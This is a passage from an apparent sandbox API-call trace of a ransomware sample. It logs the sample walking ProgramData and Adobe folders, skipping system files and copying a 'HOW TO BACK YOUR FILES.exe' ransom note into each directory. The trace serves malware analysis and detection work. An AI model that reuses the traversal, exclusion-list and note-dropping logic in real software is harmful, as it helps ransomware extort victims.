lpString2="bootmgr") returned -1 [0097.557] lstrcmpiW (lpString1="10.0", lpString2="temp") returned -1 [0097.557] lstrcmpiW (lpString1="10.0", lpString2="pagefile.sys") returned -1 [0097.557] lstrcmpiW (lpString1="10.0", lpString2="boot") returned -1 [0097.557] lstrcmpiW (lpString1="10.0", lpString2="ids.txt") returned -1 [0097.557] lstrcmpiW (lpString1="10.0", lpString2="ntuser.dat") returned -1 [0097.557] lstrcmpiW (lpString1="10.0", lpString2="perflogs") returned -1 [0097.557] lstrcmpiW (lpString1="10.0", lpString2="MSBuild") returned -1 [0097.557] lstrlenW (lpString="10.0") returned 4 [0097.557] lstrcpyW (in: lpString1=0x241e882, lpString2="10.0" | out: lpString1="10.0") returned="10.0" [0097.557] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x509050 [0097.557] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x44) returned 0x517208 [0097.558] lstrcatW (in: lpString1="10.0", lpString2="\\" | out: lpString1="10.0\\") returned="10.0\\" [0097.558] lstrcatW (in: lpString1="10.0\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="10.0\\HOW TO BACK YOUR FILES.exe") returned="10.0\\HOW TO BACK YOUR FILES.exe" [0097.558] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Adobe\\Acrobat\\10.0\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\adobe\\acrobat\\10.0\\how to back your files.exe"), bFailIfExists=1) returned 1 [0097.560] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xc466d1a0, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xc466d1a0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0097.560] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0097.560] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xc466d1a0, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xc466d1a0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0 [0097.560] FindClose (in: hFindFile=0x529410 | out: hFindFile=0x529410) returned 1 [0097.560] ReleaseMutex (hMutex=0xec) returned 1 [0097.560] CloseHandle (hObject=0xec) returned 1 [0097.560] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\ProgramData\\Adobe\\ARM" | out: lpString1="C:\\ProgramData\\Adobe\\ARM") returned="C:\\ProgramData\\Adobe\\ARM" [0097.560] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x529550 | out: hHeap=0x4f0000) returned 1 [0097.560] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530a28 | out: hHeap=0x4f0000) returned 1 [0097.560] lstrlenW (lpString="C:\\ProgramData\\Adobe\\ARM") returned 24 [0097.560] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\708EA4383AB7C6E7AA6EB8B856508CD8") returned 0xec [0097.560] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0097.560] lstrcatW (in: lpString1="", lpString2="C:\\ProgramData\\Adobe\\ARM" | out: lpString1="C:\\ProgramData\\Adobe\\ARM") returned="C:\\ProgramData\\Adobe\\ARM" [0097.560] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0097.560] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Adobe\\ARM\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\adobe\\arm\\how to back your files.exe"), bFailIfExists=1) returned 0 [0097.561] CreateFileW (lpFileName="C:\\ProgramData\\Adobe\\ARM\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\adobe\\arm\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0097.561] GetLastError () returned 0x0 [0097.561] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0097.561] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x53ed08 [0097.561] ReadFile (in: hFile=0xf4, lpBuffer=0x53ed08, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x53ed08*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0097.562] CloseHandle (hObject=0xf4) returned 1 [0097.562] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x53ed08 | out: hHeap=0x4f0000) returned 1 [0097.562] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0097.562] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Adobe\\ARM\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe4efbbe0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xc466d1a0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc466d1a0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529550 [0097.562] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0097.562] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0097.562] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0097.562] FindNextFileW (in: hFindFile=0x529550, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe4efbbe0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xc466d1a0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc466d1a0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0097.562] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0097.562] lstrcmpiW (lpString1="..", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0097.562] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0097.562] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0097.562] FindNextFileW (in: hFindFile=0x529550, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xc466d1a0, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xc466d1a0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0097.562] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0097.562] FindNextFileW (in: hFindFile=0x529550, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe4efbbe0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xf2028d90, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xf2028d90, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Reader_10.0.0", cAlternateFileName="READER~1.0")) returned 1 [0097.562] lstrcmpiW (lpString1="Reader_10.0.0", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0097.562] lstrcmpiW (lpString1="Reader_10.0.0", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0097.563] lstrcmpiW (lpString1="Reader_10.0.0", lpString2=".") returned 1 [0097.563] lstrcmpiW (lpString1="Reader_10.0.0", lpString2="..") returned 1 [0097.563] lstrcmpiW (lpString1="Reader_10.0.0", lpString2="windows") returned -1 [0097.563] lstrcmpiW (lpString1="Reader_10.0.0", lpString2="bootmgr") returned 1 [0097.563] lstrcmpiW (lpString1="Reader_10.0.0", lpString2="temp") returned -1 [0097.563] lstrcmpiW (lpString1="Reader_10.0.0", lpString2="pagefile.sys") returned 1 [0097.563] lstrcmpiW (lpString1="Reader_10.0.0", lpString2="boot") returned 1 [0097.563] lstrcmpiW (lpString1="Reader_10.0.0", lpString2="ids.txt") returned 1 [0097.563] lstrcmpiW (lpString1="Reader_10.0.0", lpString2="ntuser.dat") returned 1 [0097.563] lstrcmpiW (lpString1="Reader_10.0.0", lpString2="perflogs") returned 1 [0097.563] lstrcmpiW (lpString1="Reader_10.0.0", lpString2="MSBuild") returned 1 [0097.563] lstrlenW (lpString="Reader_10.0.0") returned 13 [0097.563] lstrcpyW (in: lpString1=0x241e87a, lpString2="Reader_10.0.0" | out: lpString1="Reader_10.0.0") returned="Reader_10.0.0" [0097.563] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x530a28 [0097.563] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x4e) returned 0x515be0 [0097.563] lstrcatW (in: lpString1="Reader_10.0.0", lpString2="\\" | out: lpString1="Reader_10.0.0\\") returned="Reader_10.0.0\\" [0097.563] lstrcatW (in: lpString1="Reader_10.0.0\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Reader_10.0.0\\HOW TO BACK YOUR FILES.exe") returned="Reader_10.0.0\\HOW TO BACK YOUR FILES.exe" [0097.563] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Adobe\\ARM\\Reader_10.0.0\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\adobe\\arm\\reader_10.0.0\\how to back your files.exe"), bFailIfExists=1) returned 1 [0097.566] FindNextFileW (in: hFindFile=0x529550, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe4efbbe0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xf2028d90, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xf2028d90, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Reader_10.0.0", cAlternateFileName="READER~1.0")) returned 0 [0097.566] FindClose (in: hFindFile=0x529550 | out: hFindFile=0x529550) returned 1 [0097.566] ReleaseMutex (hMutex=0xec) returned 1 [0097.566] CloseHandle (hObject=0xec) returned 1 [0097.566] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\ProgramData\\Application Data\\Adobe" | out: lpString1="C:\\ProgramData\\Application Data\\Adobe") returned="C:\\ProgramData\\Application Data\\Adobe" [0097.567] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x515f50 | out: hHeap=0x4f0000) returned 1 [0097.567] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50da90 | out: hHeap=0x4f0000) returned 1 [0097.567] lstrlenW (lpString="C:\\ProgramData\\Application Data\\Adobe") returned 37 [0097.567] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\84085DFDA23965025D96E66BD5AFAB1F") returned 0xec [0097.567] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0097.567] lstrcatW (in: lpString1="", lpString2="C:\\ProgramData\\Application Data\\Adobe" | out: lpString1="C:\\ProgramData\\Application Data\\Adobe") returned="C:\\ProgramData\\Application Data\\Adobe" [0097.567] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0097.567] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Application Data\\Adobe\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\application data\\adobe\\how to back your files.exe"), bFailIfExists=1) returned 0 [0097.568] CreateFileW (lpFileName="C:\\ProgramData\\Application Data\\Adobe\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\application data\\adobe\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0097.568] GetLastError () returned 0x0 [0097.568] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0097.568] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x53ed08 [0097.568] ReadFile (in: hFile=0xf4, lpBuffer=0x53ed08, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x53ed08*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0097.569] CloseHandle (hObject=0xf4) returned 1 [0097.569] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x53ed08 | out: hHeap=0x4f0000) returned 1 [0097.569] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0097.569] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Application Data\\Adobe\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8000ce40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xbc5e2da0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbc5e2da0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529550 [0097.569] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0097.569] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0097.569] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0097.569] FindNextFileW (in: hFindFile=0x529550, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8000ce40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xbc5e2da0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbc5e2da0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0097.569] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0097.569] lstrcmpiW (lpString1="..", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0097.569] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0097.569] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0097.569] FindNextFileW (in: hFindFile=0x529550, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8000ce40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xc466d1a0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc466d1a0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Acrobat", cAlternateFileName="")) returned 1 [0097.569] lstrcmpiW (lpString1="Acrobat", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0097.569] lstrcmpiW (lpString1="Acrobat", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0097.569] lstrcmpiW (lpString1="Acrobat", lpString2=".") returned 1 [0097.569] lstrcmpiW (lpString1="Acrobat", lpString2="..") returned 1 [0097.569] lstrcmpiW (lpString1="Acrobat", lpString2="windows") returned -1 [0097.569] lstrcmpiW (lpString1="Acrobat", lpString2="bootmgr") returned -1 [0097.569] lstrcmpiW (lpString1="Acrobat", lpString2="temp") returned -1 [0097.569] lstrcmpiW (lpString1="Acrobat", lpString2="pagefile.sys") returned -1 [0097.569] lstrcmpiW (lpString1="Acrobat", lpString2="boot") returned -1 [0097.570] lstrcmpiW (lpString1="Acrobat", lpString2="ids.txt") returned -1 [0097.570] lstrcmpiW (lpString1="Acrobat", lpString2="ntuser.dat") returned -1 [0097.570] lstrcmpiW (lpString1="Acrobat", lpString2="perflogs") returned -1 [0097.570] lstrcmpiW (lpString1="Acrobat", lpString2="MSBuild") returned -1 [0097.570] lstrlenW (lpString="Acrobat") returned 7 [0097.570] lstrcpyW (in: lpString1=0x241e894, lpString2="Acrobat" | out: lpString1="Acrobat") returned="Acrobat" [0097.570] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x50da90 [0097.570] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x5c) returned 0x51bef8 [0097.570] lstrcatW (in: lpString1="Acrobat", lpString2="\\" | out: lpString1="Acrobat\\") returned="Acrobat\\" [0097.570] lstrcatW (in: lpString1="Acrobat\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Acrobat\\HOW TO BACK YOUR FILES.exe") returned="Acrobat\\HOW TO BACK YOUR FILES.exe" [0097.570] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Application Data\\Adobe\\Acrobat\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\application data\\adobe\\acrobat\\how to back your files.exe"), bFailIfExists=1) returned 0 [0097.570] FindNextFileW (in: hFindFile=0x529550, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe4efbbe0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xc466d1a0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc466d1a0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ARM", cAlternateFileName="")) returned 1 [0097.570] lstrcmpiW (lpString1="ARM", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0097.570] lstrcmpiW (lpString1="ARM", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0097.570] lstrcmpiW (lpString1="ARM", lpString2=".") returned 1 [0097.571] lstrcmpiW (lpString1="ARM", lpString2="..") returned 1 [0097.571] lstrcmpiW (lpString1="ARM", lpString2="windows") returned -1 [0097.571] lstrcmpiW (lpString1="ARM", lpString2="bootmgr") returned -1 [0097.571] lstrcmpiW (lpString1="ARM", lpString2="temp") returned -1 [0097.571] lstrcmpiW (lpString1="ARM", lpString2="pagefile.sys") returned -1 [0097.571] lstrcmpiW (lpString1="ARM", lpString2="boot") returned -1 [0097.571] lstrcmpiW (lpString1="ARM", lpString2="ids.txt") returned -1 [0097.571] lstrcmpiW (lpString1="ARM", lpString2="ntuser.dat") returned -1 [0097.571] lstrcmpiW (lpString1="ARM", lpString2="perflogs") returned -1 [0097.571] lstrcmpiW (lpString1="ARM", lpString2="MSBuild") returned -1 [0097.571] lstrlenW (lpString="ARM") returned 3 [0097.571] lstrcpyW (in: lpString1=0x241e894, lpString2="ARM" | out: lpString1="ARM") returned="ARM" [0097.571] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x50dbc8 [0097.571] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x54) returned 0x528410 [0097.571] lstrcatW (in: lpString1="ARM", lpString2="\\" | out: lpString1="ARM\\") returned="ARM\\" [0097.571] lstrcatW (in: lpString1="ARM\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="ARM\\HOW TO BACK YOUR FILES.exe") returned="ARM\\HOW TO BACK YOUR FILES.exe" [0097.571] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Application Data\\Adobe\\ARM\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\application data\\adobe\\arm\\how to back your files.exe"), bFailIfExists=1) returned 0 [0097.572] FindNextFileW (in: hFindFile=0x529550, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbc5e2da0, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xbc5e2da0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0097.572] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0097.572] FindNextFileW (in: hFindFile=0x529550, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbc5e2da0, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xbc5e2da0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0 [0097.572] FindClose (in: hFindFile=0x529550 | out: hFindFile=0x529550) returned 1 [0097.572] ReleaseMutex (hMutex=0xec) returned 1 [0097.572] CloseHandle (hObject=0xec) returned 1 [0097.572] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\ProgramData\\Application Data\\Application Data" | out: lpString1="C:\\ProgramData\\Application Data\\Application Data") returned="C:\\ProgramData\\Application Data\\Application Data" [0097.572] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52e740 | out: hHeap=0x4f0000) returned 1 [0097.572] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530a40 | out: hHeap=0x4f0000) returned 1 [0097.572] lstrlenW (lpString="C:\\ProgramData\\Application Data\\Application Data") returned 48 [0097.572] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\5BBDEFA1091C24BAA10AFBA5EAE09576") returned 0xec [0097.572] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0097.572] lstrcatW (in: lpString1="", lpString2="C:\\ProgramData\\Application Data\\Application Data" | out: lpString1="C:\\ProgramData\\Application Data\\Application Data") returned="C:\\ProgramData\\Application Data\\Application Data" [0097.572] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0097.572] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Application Data\\Application Data\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\application data\\application data\\how to back your files.exe"), bFailIfExists=1) returned 0 [0097.573] CreateFileW (lpFileName="C:\\ProgramData\\Application Data\\Application Data\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\application data\\application data\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0097.573] GetLastError () returned 0x0 [0097.573] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0097.573] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x53ed08 [0097.573] ReadFile (in: hFile=0xf4, lpBuffer=0x53ed08, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x53ed08*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0097.573] CloseHandle (hObject=0xf4) returned 1 [0097.573] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x53ed08 | out: hHeap=0x4f0000) returned 1 [0097.573] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0097.573] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Application Data\\Application Data\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xb9e9c2a0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xb9e9c2a0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529550 [0097.574] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0097.574] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0097.574] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0097.574] FindNextFileW (in: hFindFile=0x529550, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xb9e9c2a0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xb9e9c2a0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0097.574] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0097.574] lstrcmpiW (lpString1="..", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0097.574] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0097.574] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0097.574] FindNextFileW (in: hFindFile=0x529550, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8000ce40, ftCreationTime.dwHighDateTime=0x1d2dda0, 